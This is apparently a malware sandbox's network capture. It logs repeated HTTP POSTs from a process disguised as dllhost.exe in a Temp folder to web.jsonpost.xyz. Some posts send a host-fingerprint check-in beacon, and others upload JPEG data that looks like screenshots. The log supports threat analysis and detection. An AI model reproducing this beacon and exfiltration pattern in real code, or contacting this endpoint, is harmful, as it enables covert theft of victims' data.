57	192.168.2.4	49793	72.52.178.23	80	7608	C:\Users\user\AppData\Local\Temp\3e5d740863\dllhost.exe

Timestamp	Bytes transferred	Direction	Data
Nov 29, 2024 01:52:45.889520884 CET	235	OUT	POST /sj2vMs/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: web.jsonpost.xyz Content-Length: 82 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 32 32 34 36 31 32 32 36 26 76 73 3d 32 2e 37 31 26 73 64 3d 39 39 34 35 39 61 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 31 30 33 33 38 36 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152122461226&vs=2.71&sd=99459a&os=1&bi=1&ar=1&pc=103386&un=user&dm=&av=13&lv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
58	192.168.2.4	49794	72.52.178.23	80	7608	C:\Users\user\AppData\Local\Temp\3e5d740863\dllhost.exe

Timestamp	Bytes transferred	Direction	Data
Nov 29, 2024 01:52:46.088804007 CET	195	OUT	POST /sj2vMs/index.php?scr=1 HTTP/1.1 Content-Type: multipart/form-data; boundary=----1ecb6449b11250019f89ed10f8ec15d7 Host: web.jsonpost.xyz Content-Length: 98005 Cache-Control: no-cache
Nov 29, 2024 01:52:46.088917017 CET	156	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 31 65 63 62 36 34 34 39 62 31 31 32 35 30 30 31 39 66 38 39 65 64 31 30 66 38 65 63 31 35 64 37 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 61 74 61 Data Ascii: ------1ecb6449b11250019f89ed10f8ec15d7Content-Disposition: form-data; name="data"; filename="152122461226.jpg"Content-Type: application/octet-stream
Nov 29, 2024 01:52:46.089009047 CET	10240	OUT	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff db 00 43 00 08 06 06 07 06 05 08 07 07 07 09 09 08 0a 0c 14 0d 0c 0b 0b 0c 19 12 13 0f 14 1d 1a 1f 1e 1d 1a 1c 1c 20 24 2e 27 20 22 2c 23 1c 1c 28 37 29 2c 30 31 34 34 34 1f 27 39 3d Data Ascii: JFIF``C $.' ",#(7),01444'9=82<.342C2!!22222222222222222222222222222222222222222222222222"}!1A
Nov 29, 2024 01:52:46.089025974 CET	1236	OUT	Data Raw: fb 52 6c f4 34 05 c8 cd 14 e2 ac 3b 53 69 0c 28 a2 8a 00 43 45 14 50 30 a4 34 b4 9c d0 01 45 14 50 00 69 29 68 c5 03 12 8a 28 a0 04 34 52 d1 40 c4 a2 8a 28 01 0d 14 b4 94 00 52 1a 5a 28 18 94 50 68 a0 04 c1 a2 96 8e d4 c6 25 25 2d 21 a0 02 8a 28 Data Ascii: Rl4;Si(CEP04EPi)h(4R@(RZ(Ph%%-!(0QE'j)i(4um!(bQEJJu%((PhE!S1E(RwhJ(F)h@RPEE8cKI@0Ri/Z(CE=(4
Nov 29, 2024 01:52:46.209141016 CET	2472	OUT	Data Raw: de 49 69 75 19 8e 58 ce 08 3d fd c7 b5 6f 43 1f 42 bc b9 20 f5 39 f1 39 6e 23 0f 0e 79 ad 3c 8a b4 77 a3 14 57 61 c0 21 a2 96 92 80 0a 43 4b 45 03 12 8a 28 a0 02 92 96 8a 06 25 21 a5 a2 80 12 83 4b 49 4c 04 a2 96 8a 06 25 25 2d 25 03 0a 4a 5a 28 Data Ascii: IiuX=oCB 99n#y<wWa!CKE(%!KIL%%-%JZ((%CE-%%(4P1))h4P1(4Q@RbBRSHhRP1%:JJZ()iJZJ))h))i())JJZ(<^hNZObPhiB9"ByP0%Nih#
Nov 29, 2024 01:52:46.209160089 CET	4944	OUT	Data Raw: fa 13 57 d0 70 a5 49 47 1d c8 9e 8d 3b 9f 3d c4 f4 e3 2c 17 33 dd 34 73 54 51 45 7e 90 7e 7c 14 51 45 00 15 e8 5f 0b bf e4 5f d4 3f ec 23 27 fe 82 95 e7 b5 e8 5f 0b bf e4 5f d4 3f ec 23 27 fe 82 95 f3 f9 ef fc ba f5 7f 91 f5 fc 2d fc 3c 4f a4 7f Data Ascii: WpIG;=,34sTQE~~\|QE__?#'__?#'-<O15_F+4VSNg9=m[HET#r5{CN%Oor/"y{F3K u%y{&3am#vsWFbkbU)#OH46I(
Nov 29, 2024 01:52:46.209217072 CET	4944	OUT	Data Raw: 61 d6 75 4d 7a e8 4e fa 58 f3 dd ae b9 fb 3c 96 85 48 45 56 e8 78 2a a1 41 c8 38 18 18 e3 30 59 ea 3a bd a5 b6 a5 69 f6 a9 74 b8 b4 e8 84 12 5b 82 52 de 45 8c 79 a1 c8 e2 36 df b9 8e 71 9c 83 d0 d5 98 f4 c4 b6 b9 4b ab 29 e7 b4 b8 4c ed 96 09 0a Data Ascii: auMzNX<HEVxA80Y:it[REy6qK)L2`5`ziY/3YA;l&]OMZXEY~oU0n97\"YMUl4K;EFzl`<XJ3vylH;J},s[
Nov 29, 2024 01:52:46.209311008 CET	2472	OUT	Data Raw: a9 07 fe f9 af 76 85 92 86 ba f3 7f 91 e5 e3 6e f9 f4 d3 95 7e 47 90 51 4b da 92 be d4 fc d8 28 a2 8a 00 cf d5 ff 00 e3 d1 7f eb a0 fe 46 b7 be 1b 43 35 b6 a5 79 ad cb 29 87 4c b2 b7 7f b5 12 32 24 04 70 9e e7 a1 fc 07 ad 63 6a 30 49 71 6e ab 12 Data Ascii: vn~GQK(FC5y)L2$pcj0Iqn`8j}3,4!M?.c.0yRW4<veRr")no,5$tu`rt=1xSR]/U)}we7<p+bDmBy?z/P\|=5gi
Nov 29, 2024 01:52:46.209323883 CET	2472	OUT	Data Raw: a9 ad 4c 96 b1 bc 45 ca 4c 57 6a 85 f3 bc cc e1 97 39 40 00 24 82 d8 19 ce b2 d4 6c af 26 37 57 37 e2 04 be d4 1e ca cc 25 82 a6 e6 5d b9 2e 88 e0 22 82 ea 38 dc 4f 27 15 10 b5 be 48 ad 51 66 b5 66 b3 31 fd 9a 79 2d 62 69 a2 f2 db 72 01 21 42 d8 Data Ascii: LELWj9@$l&7W7%]."8O'HQff1y-bir!Bp82MCJg9,<AY8~{ejZkL!Ie693"DT`x Y6]P%]P#3)pw;'sd+,BOyXr_U#:#q
Nov 29, 2024 01:52:46.209434986 CET	2472	OUT	Data Raw: 26 29 31 8a 71 e0 52 1a 56 18 dc 51 c7 34 bf a1 a4 f5 fe 54 58 62 63 23 14 df 7a 79 1c 8c 52 51 61 8d e9 47 bd 3b 14 86 81 88 41 a3 8a 5c 67 ff 00 af 4d ed 4c 35 13 de 8e 73 4e 20 52 1e 28 01 31 8a 00 f7 a7 0c 1f 6a 41 40 c4 23 f9 d3 7f 5a 71 39 Data Ascii: &)1qRVQ4TXbc#zyRQaG;A\gML5sN R(1jA@#Zq9j%(HE/GCX/z:GZ\q@/CE!:I@4RENwb\|Q@Q@EJ)MQEQE%@CE-QEQERPIKE%Q@Q@P
Nov 29, 2024 01:52:46.209444046 CET	1236	OUT	Data Raw: b4 50 01 8a 31 45 14 0c 4a 4a 75 25 08 04 a2 8a 51 4c 02 93 14 b4 50 02 77 a2 97 14 94 c6 18 a4 c7 34 b8 a2 98 09 45 2d 14 00 94 98 a5 a3 19 a6 02 52 53 e9 31 45 c6 37 9a 33 ff 00 d6 a5 a3 14 0c 4c e3 a5 2e 73 f7 80 3f 5a 31 48 45 00 21 8e 36 f5 Data Ascii: P1EJJu%QLPw4E-RS1E73L.s?Z1HE!6SL00aRbP4 e# UN9JWJw)Lz1Q2tRLS9L\|~qAS1I?1EGf&FFi1GzVH#E+`O9!`jp9

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
59	192.168.2.4	49795	72.52.178.23	80	7608	C:\Users\user\AppData\Local\Temp\3e5d740863\dllhost.exe

Timestamp	Bytes transferred	Direction	Data
Nov 29, 2024 01:52:47.264528036 CET	235	OUT	POST /sj2vMs/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: web.jsonpost.xyz Content-Length: 82 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 32 32 34 36 31 32 32 36 26 76 73 3d 32 2e 37 31 26 73 64 3d 39 39 34 35 39 61 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 31 30 33 33 38 36 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152122461226&vs=2.71&sd=99459a&os=1&bi=1&ar=1&pc=103386&un=user&dm=&av=13&lv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
60	192.168.2.4	49796	72.52.178.23	80	7608	C:\Users\user\AppData\Local\Temp\3e5d740863\dllhost.exe

Timestamp	Bytes transferred	Direction	Data
Nov 29, 2024 01:52:47.643878937 CET	195	OUT	POST /sj2vMs/index.php?scr=1 HTTP/1.1 Content-Type: multipart/form-data; boundary=----1ecb6449b11250019f89ed10f8ec15d7 Host: web.jsonpost.xyz Content-Length: 98005 Cache-Control: no-cache
Nov 29, 2024 01:52:47.643923044 CET	156	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 31 65 63 62 36 34 34 39 62 31 31 32 35 30 30 31 39 66 38 39 65 64 31 30 66 38 65 63 31 35 64 37 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 61 74 61 Data Ascii: ------1ecb6449b11250019f89ed10f8ec15d7Content-Disposition: form-data; name="data"; filename="152122461226.jpg"Content-Type: application/octet-stream
Nov 29, 2024 01:52:47.643990040 CET	10240	OUT	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff db 00 43 00 08 06 06 07 06 05 08 07 07 07 09 09 08 0a 0c 14 0d 0c 0b 0b 0c 19 12 13 0f 14 1d 1a 1f 1e 1d 1a 1c 1c 20 24 2e 27 20 22 2c 23 1c 1c 28 37 29 2c 30 31 34 34 34 1f 27 39 3d Data Ascii: JFIF``C $.' ",#(7),01444'9=82<.342C2!!22222222222222222222222222222222222222222222222222"}!1A
Nov 29, 2024 01:52:47.644011021 CET	1236	OUT	Data Raw: fb 52 6c f4 34 05 c8 cd 14 e2 ac 3b 53 69 0c 28 a2 8a 00 43 45 14 50 30 a4 34 b4 9c d0 01 45 14 50 00 69 29 68 c5 03 12 8a 28 a0 04 34 52 d1 40 c4 a2 8a 28 01 0d 14 b4 94 00 52 1a 5a 28 18 94 50 68 a0 04 c1 a2 96 8e d4 c6 25 25 2d 21 a0 02 8a 28 Data Ascii: Rl4;Si(CEP04EPi)h(4R@(RZ(Ph%%-!(0QE'j)i(4um!(bQEJJu%((PhE!S1E(RwhJ(F)h@RPEE8cKI@0Ri/Z(CE=(4
Nov 29, 2024 01:52:47.764269114 CET	7416	OUT	Data Raw: de 49 69 75 19 8e 58 ce 08 3d fd c7 b5 6f 43 1f 42 bc b9 20 f5 39 f1 39 6e 23 0f 0e 79 ad 3c 8a b4 77 a3 14 57 61 c0 21 a2 96 92 80 0a 43 4b 45 03 12 8a 28 a0 02 92 96 8a 06 25 21 a5 a2 80 12 83 4b 49 4c 04 a2 96 8a 06 25 25 2d 25 03 0a 4a 5a 28 Data Ascii: IiuX=oCB 99n#y<wWa!CKE(%!KIL%%-%JZ((%CE-%%(4P1))h4P1(4Q@RbBRSHhRP1%:JJZ()iJZJ))h))i())JJZ(<^hNZObPhiB9"ByP0%Nih#
Nov 29, 2024 01:52:47.764309883 CET	4944	OUT	Data Raw: 61 d6 75 4d 7a e8 4e fa 58 f3 dd ae b9 fb 3c 96 85 48 45 56 e8 78 2a a1 41 c8 38 18 18 e3 30 59 ea 3a bd a5 b6 a5 69 f6 a9 74 b8 b4 e8 84 12 5b 82 52 de 45 8c 79 a1 c8 e2 36 df b9 8e 71 9c 83 d0 d5 98 f4 c4 b6 b9 4b ab 29 e7 b4 b8 4c ed 96 09 0a Data Ascii: auMzNX<HEVxA80Y:it[REy6qK)L2`5`ziY/3YA;l&]OMZXEY~oU0n97\"YMUl4K;EFzl`<XJ3vylH;J},s[
Nov 29, 2024 01:52:47.764358997 CET	2472	OUT	Data Raw: a9 07 fe f9 af 76 85 92 86 ba f3 7f 91 e5 e3 6e f9 f4 d3 95 7e 47 90 51 4b da 92 be d4 fc d8 28 a2 8a 00 cf d5 ff 00 e3 d1 7f eb a0 fe 46 b7 be 1b 43 35 b6 a5 79 ad cb 29 87 4c b2 b7 7f b5 12 32 24 04 70 9e e7 a1 fc 07 ad 63 6a 30 49 71 6e ab 12 Data Ascii: vn~GQK(FC5y)L2$pcj0Iqn`8j}3,4!M?.c.0yRW4<veRr")no,5$tu`rt=1xSR]/U)}we7<p+bDmBy?z/P\|=5gi
Nov 29, 2024 01:52:47.764388084 CET	2472	OUT	Data Raw: a9 ad 4c 96 b1 bc 45 ca 4c 57 6a 85 f3 bc cc e1 97 39 40 00 24 82 d8 19 ce b2 d4 6c af 26 37 57 37 e2 04 be d4 1e ca cc 25 82 a6 e6 5d b9 2e 88 e0 22 82 ea 38 dc 4f 27 15 10 b5 be 48 ad 51 66 b5 66 b3 31 fd 9a 79 2d 62 69 a2 f2 db 72 01 21 42 d8 Data Ascii: LELWj9@$l&7W7%]."8O'HQff1y-bir!Bp82MCJg9,<AY8~{ejZkL!Ie693"DT`x Y6]P%]P#3)pw;'sd+,BOyXr_U#:#q
Nov 29, 2024 01:52:47.764496088 CET	3708	OUT	Data Raw: 26 29 31 8a 71 e0 52 1a 56 18 dc 51 c7 34 bf a1 a4 f5 fe 54 58 62 63 23 14 df 7a 79 1c 8c 52 51 61 8d e9 47 bd 3b 14 86 81 88 41 a3 8a 5c 67 ff 00 af 4d ed 4c 35 13 de 8e 73 4e 20 52 1e 28 01 31 8a 00 f7 a7 0c 1f 6a 41 40 c4 23 f9 d3 7f 5a 71 39 Data Ascii: &)1qRVQ4TXbc#zyRQaG;A\gML5sN R(1jA@#Zq9j%(HE/GCX/z:GZ\q@/CE!:I@4RENwb\|Q@Q@EJ)MQEQE%@CE-QEQERPIKE%Q@Q@P
Nov 29, 2024 01:52:47.764511108 CET	2472	OUT	Data Raw: 0f 80 f5 1d 88 88 3c d4 e1 2c 24 b4 1f 7d 3f 81 f9 3f 5e 9d bb 57 9b d7 a9 78 a2 c6 1d 3f c1 77 f1 42 f7 0c a5 e3 62 67 b8 92 66 cf 98 9f c4 ec 4e 38 e9 9c 57 97 57 6e 50 f9 a3 37 e6 78 1c 42 b9 6a 53 5e 42 51 4b 45 7b 07 ce 89 45 29 a4 a0 62 51 Data Ascii: <,$}??^Wx?wBbgfN8WWnP7xBjS^BQKE{E)bQKI@QL(0(1PQPIKI@`%(L(4Q@E-%1!4QE))i()))h((QERZ)QE0(Q@PhSH)QERRLb-'z`
Nov 29, 2024 01:52:47.884488106 CET	2472	OUT	Data Raw: 70 32 a4 11 83 d4 73 59 8b 05 cc 52 69 eb a7 59 3d bd 9d 93 4c ef 05 dc de 71 b9 32 a8 47 0e ca a9 f2 94 01 40 00 63 93 9c d3 a4 b7 b8 11 5b c3 a3 db 4f a7 88 2e 63 ba 32 dc 4e 26 91 9e 3c f9 6b 90 aa 02 8c 93 8c 64 93 c9 e8 2b c8 e6 c7 37 75 7e Data Ascii: p2sYRiY=Lq2G@c[O.c2N&<kd+7u~oO,Q2t[tx>$[b((r<M"4`qHbOrZ\ZZ[%t~d r\]Amf+i,6{W.\|98QR+KSHS

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
61	192.168.2.4	49797	72.52.178.23	80	7608	C:\Users\user\AppData\Local\Temp\3e5d740863\dllhost.exe

Timestamp	Bytes transferred	Direction	Data
Nov 29, 2024 01:52:48.733674049 CET	235	OUT	POST /sj2vMs/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: web.jsonpost.xyz Content-Length: 82 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 32 32 34 36 31 32 32 36 26 76 73 3d 32 2e 37 31 26 73 64 3d 39 39 34 35 39 61 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 31 30 33 33 38 36 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152122461226&vs=2.71&sd=99459a&os=1&bi=1&ar=1&pc=103386&un=user&dm=&av=13&lv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
62	192.168.2.4	49798	72.52.178.23	80	7608	C:\Users\user\AppData\Local\Temp\3e5d740863\dllhost.exe

Timestamp	Bytes transferred	Direction	Data
Nov 29, 2024 01:52:49.076442003 CET	195	OUT	POST /sj2vMs/index.php?scr=1 HTTP/1.1 Content-Type: multipart/form-data; boundary=----1ecb6449b11250019f89ed10f8ec15d7 Host: web.jsonpost.xyz Content-Length: 98005 Cache-Control: no-cache
Nov 29, 2024 01:52:49.076653004 CET	156	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 31 65 63 62 36 34 34 39 62 31 31 32 35 30 30 31 39 66 38 39 65 64 31 30 66 38 65 63 31 35 64 37 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 61 74 61 Data Ascii: ------1ecb6449b11250019f89ed10f8ec15d7Content-Disposition: form-data; name="data"; filename="152122461226.jpg"Content-Type: application/octet-stream
Nov 29, 2024 01:52:49.076750994 CET	10240	OUT	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff db 00 43 00 08 06 06 07 06 05 08 07 07 07 09 09 08 0a 0c 14 0d 0c 0b 0b 0c 19 12 13 0f 14 1d 1a 1f 1e 1d 1a 1c 1c 20 24 2e 27 20 22 2c 23 1c 1c 28 37 29 2c 30 31 34 34 34 1f 27 39 3d Data Ascii: JFIF``C $.' ",#(7),01444'9=82<.342C2!!22222222222222222222222222222222222222222222222222"}!1A
Nov 29, 2024 01:52:49.076837063 CET	1236	OUT	Data Raw: fb 52 6c f4 34 05 c8 cd 14 e2 ac 3b 53 69 0c 28 a2 8a 00 43 45 14 50 30 a4 34 b4 9c d0 01 45 14 50 00 69 29 68 c5 03 12 8a 28 a0 04 34 52 d1 40 c4 a2 8a 28 01 0d 14 b4 94 00 52 1a 5a 28 18 94 50 68 a0 04 c1 a2 96 8e d4 c6 25 25 2d 21 a0 02 8a 28 Data Ascii: Rl4;Si(CEP04EPi)h(4R@(RZ(Ph%%-!(0QE'j)i(4um!(bQEJJu%((PhE!S1E(RwhJ(F)h@RPEE8cKI@0Ri/Z(CE=(4
Nov 29, 2024 01:52:49.196789980 CET	2472	OUT	Data Raw: de 49 69 75 19 8e 58 ce 08 3d fd c7 b5 6f 43 1f 42 bc b9 20 f5 39 f1 39 6e 23 0f 0e 79 ad 3c 8a b4 77 a3 14 57 61 c0 21 a2 96 92 80 0a 43 4b 45 03 12 8a 28 a0 02 92 96 8a 06 25 21 a5 a2 80 12 83 4b 49 4c 04 a2 96 8a 06 25 25 2d 25 03 0a 4a 5a 28 Data Ascii: IiuX=oCB 99n#y<wWa!CKE(%!KIL%%-%JZ((%CE-%%(4P1))h4P1(4Q@RbBRSHhRP1%:JJZ()iJZJ))h))i())JJZ(<^hNZObPhiB9"ByP0%Nih#
Nov 29, 2024 01:52:49.196819067 CET	2472	OUT	Data Raw: fa 13 57 d0 70 a5 49 47 1d c8 9e 8d 3b 9f 3d c4 f4 e3 2c 17 33 dd 34 73 54 51 45 7e 90 7e 7c 14 51 45 00 15 e8 5f 0b bf e4 5f d4 3f ec 23 27 fe 82 95 e7 b5 e8 5f 0b bf e4 5f d4 3f ec 23 27 fe 82 95 f3 f9 ef fc ba f5 7f 91 f5 fc 2d fc 3c 4f a4 7f Data Ascii: WpIG;=,34sTQE~~\|QE__?#'__?#'-<O15_F+4VSNg9=m[HET#r5{CN%Oor/"y{F3K u%y{&3am#vsWFbkbU)#OH46I(
Nov 29, 2024 01:52:49.196870089 CET	4944	OUT	Data Raw: fc 81 27 ff 00 13 47 fc 26 fe 1d ff 00 a0 87 fe 40 93 ff 00 89 af 24 6b 6b 95 b3 17 8d 6b 70 2d 4f 49 cc 2d e5 9e 71 f7 b1 8e be f4 d8 e1 9e 6b 79 6e 21 b7 9e 58 21 cf 9b 2c 71 33 22 60 64 e4 81 81 c7 ad 73 7f 64 50 b5 fd a7 e4 75 7f 6e 62 6f 6f Data Ascii: 'G&@$kkkp-OI-qkyn!X!,q3"`dsdPunbooe)NxnMWuI:^o@tI8?!w0*3d~uqs1uqrRm`<(yyWn8IjRE_\|k!u#FR_[xAm,V
Nov 29, 2024 01:52:49.197035074 CET	4944	OUT	Data Raw: 45 14 50 30 a2 8a 29 00 94 52 d1 40 09 45 14 50 02 1a 0d 2d 14 00 94 51 45 00 25 14 b4 94 c6 14 51 45 00 25 14 b4 53 01 29 29 68 c5 03 42 52 52 d1 40 c4 a2 8a 29 80 51 46 28 e2 80 0c 91 4e 0e 40 a6 d1 8a 60 38 ed 6e ab f9 53 4c 4a 7e eb 63 eb 49 Data Ascii: EP0)R@EP-QE%QE%S))hBRR@)QF(N@`8nSLJ~cI9bv1wh(ZiR+qVE6)))hR@4P1(JCKE1EJLS6RRKAqIu%1N%!)P1@%:(RbLP11II
Nov 29, 2024 01:52:49.197094917 CET	2472	OUT	Data Raw: a9 ad 4c 96 b1 bc 45 ca 4c 57 6a 85 f3 bc cc e1 97 39 40 00 24 82 d8 19 ce b2 d4 6c af 26 37 57 37 e2 04 be d4 1e ca cc 25 82 a6 e6 5d b9 2e 88 e0 22 82 ea 38 dc 4f 27 15 10 b5 be 48 ad 51 66 b5 66 b3 31 fd 9a 79 2d 62 69 a2 f2 db 72 01 21 42 d8 Data Ascii: LELWj9@$l&7W7%]."8O'HQff1y-bir!Bp82MCJg9,<AY8~{ejZkL!Ie693"DT`x Y6]P%]P#3)pw;'sd+,BOyXr_U#:#q
Nov 29, 2024 01:52:49.197143078 CET	3708	OUT	Data Raw: 26 29 31 8a 71 e0 52 1a 56 18 dc 51 c7 34 bf a1 a4 f5 fe 54 58 62 63 23 14 df 7a 79 1c 8c 52 51 61 8d e9 47 bd 3b 14 86 81 88 41 a3 8a 5c 67 ff 00 af 4d ed 4c 35 13 de 8e 73 4e 20 52 1e 28 01 31 8a 00 f7 a7 0c 1f 6a 41 40 c4 23 f9 d3 7f 5a 71 39 Data Ascii: &)1qRVQ4TXbc#zyRQaG;A\gML5sN R(1jA@#Zq9j%(HE/GCX/z:GZ\q@/CE!:I@4RENwb\|Q@Q@EJ)MQEQE%@CE-QEQERPIKE%Q@Q@P
Nov 29, 2024 01:52:49.197242975 CET	2472	OUT	Data Raw: 0f 80 f5 1d 88 88 3c d4 e1 2c 24 b4 1f 7d 3f 81 f9 3f 5e 9d bb 57 9b d7 a9 78 a2 c6 1d 3f c1 77 f1 42 f7 0c a5 e3 62 67 b8 92 66 cf 98 9f c4 ec 4e 38 e9 9c 57 97 57 6e 50 f9 a3 37 e6 78 1c 42 b9 6a 53 5e 42 51 4b 45 7b 07 ce 89 45 29 a4 a0 62 51 Data Ascii: <,$}??^Wx?wBbgfN8WWnP7xBjS^BQKE{E)bQKI@QL(0(1PQPIKI@`%(L(4Q@E-%1!4QE))i()))h((QERZ)QE0(Q@PhSH)QERRLb-'z`

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
63	192.168.2.4	49799	72.52.178.23	80	7608	C:\Users\user\AppData\Local\Temp\3e5d740863\dllhost.exe

Timestamp	Bytes transferred	Direction	Data
Nov 29, 2024 01:52:50.401408911 CET	235	OUT	POST /sj2vMs/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: web.jsonpost.xyz Content-Length: 82 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 32 32 34 36 31 32 32 36 26 76 73 3d 32 2e 37 31 26 73 64 3d 39 39 34 35 39 61 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 31 30 33 33 38 36 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152122461226&vs=2.71&sd=99459a&os=1&bi=1&ar=1&pc=103386&un=user&dm=&av=13&lv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
64	192.168.2.4	49800	72.52.178.23	80	7608	C:\Users\user\AppData\Local\Temp\3e5d740863\dllhost.exe

Timestamp	Bytes transferred	Direction	Data
Nov 29, 2024 01:52:50.885485888 CET	195	OUT	POST /sj2vMs/index.php?scr=1 HTTP/1.1 Content-Type: multipart/form-data; boundary=----1ecb6449b11250019f89ed10f8ec15d7 Host: web.jsonpost.xyz Content-Length: 98005 Cache-Control: no-cache
Nov 29, 2024 01:52:50.885580063 CET	156	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 31 65 63 62 36 34 34 39 62 31 31 32 35 30 30 31 39 66 38 39 65 64 31 30 66 38 65 63 31 35 64 37 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 61 74 61 Data Ascii: ------1ecb6449b11250019f89ed10f8ec15d7Content-Disposition: form-data; name="data"; filename="152122461226.jpg"Content-Type: application/octet-stream
Nov 29, 2024 01:52:50.885669947 CET	10240	OUT	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff db 00 43 00 08 06 06 07 06 05 08 07 07 07 09 09 08 0a 0c 14 0d 0c 0b 0b 0c 19 12 13 0f 14 1d 1a 1f 1e 1d 1a 1c 1c 20 24 2e 27 20 22 2c 23 1c 1c 28 37 29 2c 30 31 34 34 34 1f 27 39 3d Data Ascii: JFIF``C $.' ",#(7),01444'9=82<.342C2!!22222222222222222222222222222222222222222222222222"}!1A
Nov 29, 2024 01:52:50.885693073 CET	1236	OUT	Data Raw: fb 52 6c f4 34 05 c8 cd 14 e2 ac 3b 53 69 0c 28 a2 8a 00 43 45 14 50 30 a4 34 b4 9c d0 01 45 14 50 00 69 29 68 c5 03 12 8a 28 a0 04 34 52 d1 40 c4 a2 8a 28 01 0d 14 b4 94 00 52 1a 5a 28 18 94 50 68 a0 04 c1 a2 96 8e d4 c6 25 25 2d 21 a0 02 8a 28 Data Ascii: Rl4;Si(CEP04EPi)h(4R@(RZ(Ph%%-!(0QE'j)i(4um!(bQEJJu%((PhE!S1E(RwhJ(F)h@RPEE8cKI@0Ri/Z(CE=(4
Nov 29, 2024 01:52:51.005781889 CET	2472	OUT	Data Raw: de 49 69 75 19 8e 58 ce 08 3d fd c7 b5 6f 43 1f 42 bc b9 20 f5 39 f1 39 6e 23 0f 0e 79 ad 3c 8a b4 77 a3 14 57 61 c0 21 a2 96 92 80 0a 43 4b 45 03 12 8a 28 a0 02 92 96 8a 06 25 21 a5 a2 80 12 83 4b 49 4c 04 a2 96 8a 06 25 25 2d 25 03 0a 4a 5a 28 Data Ascii: IiuX=oCB 99n#y<wWa!CKE(%!KIL%%-%JZ((%CE-%%(4P1))h4P1(4Q@RbBRSHhRP1%:JJZ()iJZJ))h))i())JJZ(<^hNZObPhiB9"ByP0%Nih#
Nov 29, 2024 01:52:51.005880117 CET	4944	OUT	Data Raw: fa 13 57 d0 70 a5 49 47 1d c8 9e 8d 3b 9f 3d c4 f4 e3 2c 17 33 dd 34 73 54 51 45 7e 90 7e 7c 14 51 45 00 15 e8 5f 0b bf e4 5f d4 3f ec 23 27 fe 82 95 e7 b5 e8 5f 0b bf e4 5f d4 3f ec 23 27 fe 82 95 f3 f9 ef fc ba f5 7f 91 f5 fc 2d fc 3c 4f a4 7f Data Ascii: WpIG;=,34sTQE~~\|QE__?#'__?#'-<O15_F+4VSNg9=m[HET#r5{CN%Oor/"y{F3K u%y{&3am#vsWFbkbU)#OH46I(
Nov 29, 2024 01:52:51.005975008 CET	4944	OUT	Data Raw: 61 d6 75 4d 7a e8 4e fa 58 f3 dd ae b9 fb 3c 96 85 48 45 56 e8 78 2a a1 41 c8 38 18 18 e3 30 59 ea 3a bd a5 b6 a5 69 f6 a9 74 b8 b4 e8 84 12 5b 82 52 de 45 8c 79 a1 c8 e2 36 df b9 8e 71 9c 83 d0 d5 98 f4 c4 b6 b9 4b ab 29 e7 b4 b8 4c ed 96 09 0a Data Ascii: auMzNX<HEVxA80Y:it[REy6qK)L2`5`ziY/3YA;l&]OMZXEY~oU0n97\"YMUl4K;EFzl`<XJ3vylH;J},s[
Nov 29, 2024 01:52:51.006074905 CET	4944	OUT	Data Raw: a9 07 fe f9 af 76 85 92 86 ba f3 7f 91 e5 e3 6e f9 f4 d3 95 7e 47 90 51 4b da 92 be d4 fc d8 28 a2 8a 00 cf d5 ff 00 e3 d1 7f eb a0 fe 46 b7 be 1b 43 35 b6 a5 79 ad cb 29 87 4c b2 b7 7f b5 12 32 24 04 70 9e e7 a1 fc 07 ad 63 6a 30 49 71 6e ab 12 Data Ascii: vn~GQK(FC5y)L2$pcj0Iqn`8j}3,4!M?.c.0yRW4<veRr")no,5$tu`rt=1xSR]/U)}we7<p+bDmBy?z/P\|=5gi
